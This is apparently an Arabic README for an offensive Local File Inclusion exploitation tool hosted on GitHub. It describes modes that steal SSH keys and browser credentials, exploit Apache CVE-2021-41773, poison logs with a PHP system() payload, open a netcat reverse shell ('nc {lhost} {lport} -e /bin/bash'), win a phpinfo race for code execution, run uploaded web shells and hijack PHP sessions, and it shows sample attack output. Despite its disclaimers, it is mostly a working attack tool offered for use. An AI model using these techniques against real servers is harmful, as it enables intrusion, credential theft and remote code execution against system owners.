
يُطلب منك هذا البرنامج معلومات تضمين الملف المحلي (Local File Inclusion) وسيبحث تلقائيًا عن /etc/passwd وباستخدام أسماء المستخدمين التي تم العثور عليها سيبحث عن أي مفتاح SSH أو اختلافات المفاتيح ويقوم بتنزيلها على الكمبيوتر المحلي. يقوم هذا البرنامج أيضًا بتنفيذ ثغرة اجتياز المسار CVE-2021-41773_ لأباتشي 2.4.49 و2.4.50. بالإضافة إلى ثغرات تضمين الملف المحلي الأخرى.
🔥 LFI-Destruction – إطار اختبار اختراق مرخص
LFI-Destroyer هو إطار عمل شامل ومتخصص لاستغلال تضمين الملفات المحلية (LFI)، مصمم لمحترفي الأمن المعتمدين. يجمع الأداة بين تقنيات هجوم متعددة في أداة واحدة سهلة الاستخدام:
file_uploads=On ويمكن الوصول إلى phpinfo().LFI-OSCP.pyهي النسخة الآمنة لامتحان OSCP والتي لا تحتوي على أي استغلالات تلقائية. هي في الأساس أداة فحص جميلة، وبمجرد تأكيد الثغرة، تطبع تعليمات يدوية لكيفية تنفيذ الاستغلال.
⚠️ إخلاء مسؤولية قانوني
هذه الأداة لأغراض تعليمية واختبارات أمنية مرخصة فقط.
يجب أن يكون لديك إذن كتابي صريح من مالك النظام قبل استخدامها.
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني وغير أخلاقي.
المؤلف لا يتحمل أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
📦 التثبيت
# 1. استنساخ المستودع
git clone https://github.com/RevShellXD/LFI-Destroyer.git
cd LFI-Destroyer
# 2. تثبيت التبعيات (colorama فقط مطلوب؛ الباقي اختياري)
pip install colorama
# 3. جعل السكربت الرئيسي قابلاً للتنفيذ
chmod +x LFI-Destroyer.py
🚀 بداية سريعة – الوضع 1 (فحص آثار SSH / المتصفحات)
python3 LFI-Destroyer.py
اختر Linux أو Windows.
LFI-Destruction/
LFI-Destruction.py
modes/__init__.py ,mode3_phpinfo_race.py, mode4_upload_trigger.py, mode5_session_grabber.py
artifacts/
README.md
اختر وضع الهجوم 1.
اتبع التعليمات لتهيئة نقطة نهاية LFI الخاصة بك.
سيقوم السكربت تلقائيًا بتعداد المستخدمين، والتحقق من الوجود (في Windows يستخدم NTUSER.DAT كمنارة)، وفحص الملفات الحساسة مثل مفاتيح SSH وبيانات اعتماد المتصفحات بشكل متكرر.
تُحفظ جميع الآثار في دليل ./artifacts/.
📝 الوضع 2 – تسمم السجلات وشل عكسي
python3 LFI-Destroyer.py --log-poisoning --log-vector ua
أو قم بتشغيله تفاعليًا واختر الوضع 2.
ما يحدث:
system($_GET['cmd']).id (Linux) أو whoami (Windows).شل عكسي مخصص:
python3 LFI-Destroyer.py --log-poisoning --log-vector ua --custom-shell "nc {lhost} {lport} -e /bin/bash"
سيتم استبدال العناصر النائبة {lhost} و {lport} بعنوان IP والمنفذ الخاصين بمستمعك.
🧪 BETA – الوضع 3: استغلال حالة السباق لـ phpinfo() RCE
الحالة: Beta – يعمل بشكل موثوق على خوادم PHP غير المهيأة بشكل آمن مع file_uploads=On وإمكانية الوصول إلى phpinfo().
المتطلبات:
file_uploads = On (يتم اكتشافه تلقائيًا)post_max_size ≥ upload_max_filesize (يتم اكتشافه تلقائيًا)phpinfo() (يحاول السكربت القوائم الشائعة بالقوة)التشغيل:
python3 LFI-Destroyer.py
# اختر الوضع 3
قدّم تفاصيل LFI كالمعتاد.
سيقوم السكربت بما يلي:
phpinfo() بالقوة (قائمة كلمات خاصة بنظام التشغيل)upload_max_filesize و post_max_sizeمثال على الإخراج:
[*] Bruteforcing phpinfo.php (45 paths) ...
[+] Found phpinfo.php at http://192.168.1.100/phpinfo.php
[+] file_uploads=On (max size: 8M)
[+] Attempt race condition RCE? (y/N): y
[*] Race attempt 1/3 ...
[+] Extracted temporary file path: /tmp/phpABC123
[+] RCE confirmed via temporary file!
[!] LOG POISONING SUCCESSFUL! Ready to escalate to reverse shell.
🧪 BETA – الوضع 4: تشغيل ملف مرفوع الحالة: Beta – يفترض أنك قمت بالفعل برفع شل PHP (على سبيل المثال، عبر ثغرة أخرى أو رفع يدوي). ثم يستخدم السكربت LFI لتضمينه وتنفيذ الأوامر.
وضعا التشغيل:
uploads/shell.php).التشغيل:
python3 LFI-Destroyer.py
# اختر الوضع 4
أدخل المسار أو 'brute'.
سيقوم السكربت بما يلي:
?cmd=whoamiمثال:
Enter path to uploaded file (relative to web root), or 'brute' to try common locations: uploads/shell.php
[*] Trying uploads/shell.php ...
[+] SUCCESS! Shell executed at uploads/shell.php
[+] Command output:
www-data
Attempt reverse shell? (y/N): y
🧪 BETA – الوضع 5: تصفح جلسات PHP واختراقها
الحالة: Beta – يقرأ ملفات الجلسات من session.save_path (يتم تحديده عبر phpinfo() أو قائمة كلمات افتراضية)، ويحفظها، ويحاول فك تشفير base64 عند الحاجة.
التشغيل:
python3 LFI-Destroyer.py
# اختر الوضع 5
أدخل معرف الجلسة أو 'list' للتعداد.
أمثلة:
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: abc123
[*] Reading /var/lib/php/sessions/sess_abc123 ...
[+] Session file retrieved!
[--- SESSION DATA (raw) ---]
username|s:5:"admin";user_id|i:1;
عرض قائمة الجلسات (إذا كان فهرسة الدليل مفعلة):
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: list
[+] Found 12 session files:
- sess_abc123
- sess_def456
...
تُحفظ جميع ملفات الجلسات في artifacts/session_*.
إذا بدت البيانات مشفرة بـ base64، يحاول السكربت تلقائيًا تجاوز php://filter/convert.base64-decode ويحفظ نسخة مفكوكة.
🧠 الوضع المتقدم (-adv) فعل تقنيات LFI إضافية:
python3 LFI-Destroyer.py -adv
⚙️ أعلام سطر الأوامر
يتم تحميل الأوضاع 3 و4 و5 ديناميكيًا من دليل modes/.
يمكنك بسهولة إضافة أوضاع جديدة بوضع ملف Python يحتوي على دالة run(config, fuzzer).
🧰 المتطلبات
colorama (اختياري، للإخراج الملون)📜 الترخيص والمؤلف
من تأليف RevShellXD
مرخص بموجب رخصة MIT – مجاني لمحترفي الأمن المعتمدين.
للاستخدام التعليمي والاختبارات المرخصة فقط.
إذا خرقت القانون باستخدام هذه الأداة، فأنت المسؤول الوحيد.
⭐ نجمة ومساهمة
إذا وجدت هذه الأداة مفيدة، يرجى وضع نجمة للمستودع على GitHub.
نرحب بطلبات السحب (Pull Requests) والمساهمات بأوضاع جديدة – اتبع واجهة الوحدة البسيطة في modes/__init__.py.
| الخيار | الوصف |
|---|
--os {linux,windows} | فرض نظام تشغيل الهدف |
--auto-depth | كشف عمق التجاوز تلقائيًا |
--wordlist FILE | قائمة كلمات مخصصة للمسارات (تتجاوز الافتراضيات الخاصة بنظام التشغيل) |
--userlist FILE | قائمة أسماء مستخدمين مخصصة لنظام Windows (الوضع 1) |
--beacon-file PATH | ملف منارة مخصص (الافتراضي: NTUSER.DAT) |
--custom-shell CMD | أمر شل عكسي مخصص (استخدم {lhost} و {lport}) |
--log-poisoning | تفعيل الوضع 2 من سطر الأوامر (بدون اختيار الوضع التفاعلي) |
--log-vector {ua,referer,xff,header,param} | متجه الحقن لتسمم السجلات |
--log-header NAME | اسم رأس مخصص (للمتجه header) |
--log-param NAME | اسم معامل مخصص (للمتجه param) |
--log-files FILE | قائمة مسارات سجلات مخصصة |
--rce-command CMD | أمر اختبار للتحقق من RCE |
--proxy URL | وكيل HTTP (مثل http://127.0.0.1:8080) |
--rate FLOAT | التأخير بين الطلبات (بالثواني) |
--output FILE | حفظ النتائج بصيغة JSON |
--dry-run | اختبار التهيئة – لا يتم إرسال أي طلبات |
--no-color | تعطيل الإخراج الملون |